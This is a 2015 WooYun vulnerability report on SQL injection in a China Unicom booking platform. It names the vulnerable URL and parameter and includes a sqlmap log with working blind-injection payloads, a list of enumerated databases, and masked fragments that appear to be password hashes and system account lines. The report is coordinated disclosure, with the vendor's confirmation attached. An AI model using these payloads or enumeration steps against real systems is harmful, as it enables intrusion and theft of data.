当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091147

漏洞标题:中国联通某重要预约订购平台sql注入(可读passwd)

相关厂商:中国联通

漏洞作者: #6c6c6c

提交时间:2015-01-12 11:06

修复时间:2015-02-26 11:08

公开时间:2015-02-26 11:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-16: 厂商已经确认,细节仅向厂商公开
2015-01-26: 细节向核心白帽子及相关领域专家公开
2015-02-05: 细节向普通白帽子公开
2015-02-15: 细节向实习白帽子公开
2015-02-26: 细节向公众公开

简要描述:

sql

详细说明:

注入地址:http://dg.uninx.com/dgpt/shop.php?shopid=5
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 22:14:33
[22:14:33] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\dg.uninx.c
om\session' as session file
[22:14:33] [INFO] testing connection to the target url
[22:14:33] [INFO] testing if the url is stable, wait a few seconds
[22:14:35] [INFO] url is stable
[22:14:35] [INFO] testing if GET parameter 'shopid' is dynamic
[22:14:35] [INFO] confirming that GET parameter 'shopid' is dynamic
[22:14:35] [INFO] GET parameter 'shopid' is dynamic
[22:14:36] [WARNING] heuristic test shows that GET parameter 'shopid' might not
be injectable
[22:14:36] [INFO] testing sql injection on GET parameter 'shopid'
[22:14:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:14:37] [INFO] GET parameter 'shopid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[22:14:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[22:14:38] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:14:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[22:14:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[22:14:41] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:14:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[22:14:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:14:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[22:15:45] [INFO] GET parameter 'shopid' is 'MySQL > 5.0.11 AND time-based blind
' injectable
[22:15:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[22:15:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'shopid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 37 HTTP(s) requ
ests:
---
Place: GET
Parameter: shopid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: shopid=5 AND 8771=8771
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: shopid=5 AND SLEEP(5)
---
[22:16:31] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.5
back-end DBMS: MySQL 5.0.11
[22:16:31] [INFO] fetching database names
[22:16:31] [INFO] fetching number of databases
[22:16:31] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[22:16:31] [INFO] retrieved: 10
[22:16:33] [INFO] retrieved: information_schema
[22:18:13] [INFO] retrieved: 12316_xncdb
[22:19:07] [INFO] retrieved: binlog
[22:19:33] [INFO] retrieved: mysql
[22:19:51] [INFO] retrieved: nxdb
[22:20:07] [INFO] retrieved: shequdb
[22:20:37] [INFO] retrieved: terminalorder
[22:21:53] [INFO] retrieved: test
[22:22:14] [INFO] retrieved: zddg
[22:22:34] [INFO] retrieved: zddg0315erqi
available databases [10]:
[*] 12316_xncdb
[*] binlog
[*] information_schema
[*] mysql
[*] nxdb
[*] shequdb
[*] terminalorder
[*] test
[*] zddg
[*] zddg0315erqi
[22:23:45] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\dg.uninx.com'
[*] shutting down at 22:23:45


mask 区域
*****.com/dgpt/sho*****
*****23.125*****
*****r: A*****
***** PHP/*****
*****: My*****
*****avg): *****
*****dgxin@192*****
*****: 5.0*****
*****B: z*****
*****gxin@192.*****
*****me: *****
*****n dir:*****
*****8F5CB77A4B1E93E139*****
*****47FE5EE9B2388D*****
*****5A87A23E7E2E6362*****
*****D15A87A23E7E2E6*****
*****0EA7484626A7871*****
*****A7484626A7871F61*****
*****753C0EA748462*****
*****5A87A23E7E2E6362*****
*****F229DB076FA8*****
*****0FDF16DD4877*****
*****16DD4877F28E84*****
*****3E1392689E67077*****
*****80FDF16DD4877*****
*****F16DD4877F28E84*****
*****18D045133445*****
*****653A1503FC4B893*****
*****226747FE5EE9*****
*****formatio*****
*****_xnc*****
*****log*****
*****ys*****
*****xd*****
*****qud*****
*****nalo*****
*****es*****
*****dd*****
*****315e*****


mask 区域
*****:/root:/*****
*****bin:/sbi*****
*****:/sbin:/sb*****
*****r/adm:/sb*****
*****ool/lpd:/s*****
*****:/sbin:/*****
*****wn:/sbin:/s*****
*****:/sbin:/*****
*****/spool/mail*****
*****ews:/et*****
*****spool/uucp:/*****
*****tor:/root:/*****
*****/usr/games:*****
*****var/gopher:/*****
*****/var/ftp:/s*****
*****body:/:/s*****
*****aemon:/:/s*****
*****memory owner:/d*****
*****RPC user:/:/*****
*****:/var/www:/*****
*****spool/mqueue*****
*****pool/mqueue*****
*****ver:/var/lib*****
*****arpwatch:/*****
*****sage bus:/:/*****
***** daemon:/:*****
*****d SSH:/var/empty*****
***** User:/var/lib*****
***** NFS User:/var/li*****
***** daemon:/:/*****
*****pd:/var/lib/avahi-*****
*****/ntp:/sbi*****
*****/www/html:/*****
*****ome/hwj:/*****
*****me/nagios:/*****

漏洞证明:

修复方案:

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-01-16 13:22

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国联通通报。

最新状态:

暂无